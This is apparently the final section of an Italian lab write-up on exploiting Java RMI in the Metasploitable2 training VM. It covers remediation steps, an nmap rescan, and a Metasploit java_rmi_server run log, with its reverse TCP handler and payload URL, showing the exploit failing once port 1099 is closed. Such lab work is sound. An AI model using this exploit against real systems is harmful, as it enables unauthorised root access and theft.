### ID dell'utente con cui si è entrati

- **Utente:** root
- L'accesso è stato ottenuto con privilegi **amministrativi completi**, consentendo il pieno controllo del sistema.

## Mitigazione della vulnerabilità su Metasploitable2

1. Aggiornamento del software Java RMI:
  - Installare una versione aggiornata di Java e del server RMI che includa patch di sicurezza.
2. Configurazione sicura del server RMI:
  - Implementare autenticazione per limitare le richieste al server RMI.
  - Utilizzare una whitelist per consentire accesso solo a utenti e sistemi fidati.
3. Limitazione dell'accesso alla porta 1099/tcp:
  - Configurare un firewall per bloccare l'accesso esterno alla porta 1099, consentendolo solo a macchine autorizzate.
4. Disabilitazione del servizio RMI:
  - Se il servizio Java RMI non è necessario, disattivarlo per ridurre la superficie di attacco.
5. Monitoraggio e logging:
  - Implementare sistemi di monitoraggio per rilevare tentativi di sfruttamento o attività sospette.
  - Abilitare il logging dettagliato per tracciare l'accesso al servizio RMI.

## Disabilitazione del servizio RMI - chiusura porta 1099

Infatti una delle soluzioni è aprire la porta per il servizio RMI solo quando è necessario.

**sudo netstat -tulnp** per trovare il processo PID associato alla porta 1099 e chiudere il processo con **kill -9 4605**

```
4619/unrealircd
tcp        0      0 0.0.0.0:3306          0.0.0.0:*          LISTEN
4212/mysqld
tcp        0      0 0.0.0.0:1099          0.0.0.0:*          LISTEN
4605/rmiregistry
tcp        0      0 0.0.0.0:6667          0.0.0.0:*          LISTEN
4619/unrealircd

msfadmin@metasploitable:~/
```

**msfadmin@metasploitable:~\$ sudo kill -9 4605**

Infatti a servizio spento e porta chiusa, la vulnerabilità non è più sfruttabile.

```
$ nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 02:28 CEST
Nmap scan report for 192.168.11.112
Host is up (0.0070s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?      ← non è più aperto la porta 1099
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  cproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:DB:7F:AE (Oracle VirtualBox virtual NIC)
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 180.64 seconds
```

```
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/Tv82sr68jRBM
[*] 192.168.11.112:1099 - Server started.
[-] 192.168.11.112:1099 - Exploit failed [unreachable]: RuntimeError The connection was refused by the remote host (192.168.11.112:1099).
[*] 192.168.11.112:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) >
```

## Conclusione

Sfruttando una vulnerabilità nel Java RMI Server, è stato possibile ottenere l'accesso root alla macchina Metasploitable2. La gravità di tale vulnerabilità risiede nella potenziale acquisizione del controllo completo del sistema da parte di un attaccante. Come dimostrato, l'accesso iniziale può consentire la creazione di meccanismi di persistenza, come backdoor, che permettono accessi successivi senza la necessità di sfruttare nuovamente la vulnerabilità, anche dopo la sua eventuale correzione.

Se si trattasse di un server aziendale, come quello di una banca, l'attaccante non solo potrebbe rubare dati sensibili, ma anche eseguire trasferimenti di denaro fraudolenti, utilizzando transazioni a più livelli per nascondere le tracce e ottenere un guadagno significativo.

Per evitare attacchi futuri, è fondamentale aggiornare il software e applicare le patch di sicurezza, configurare correttamente il server RMI per limitare l'accesso a utenti fidati e chiudere la porta 1099 se non necessaria. Disabilitare servizi non essenziali riduce ulteriormente il rischio di compromissioni.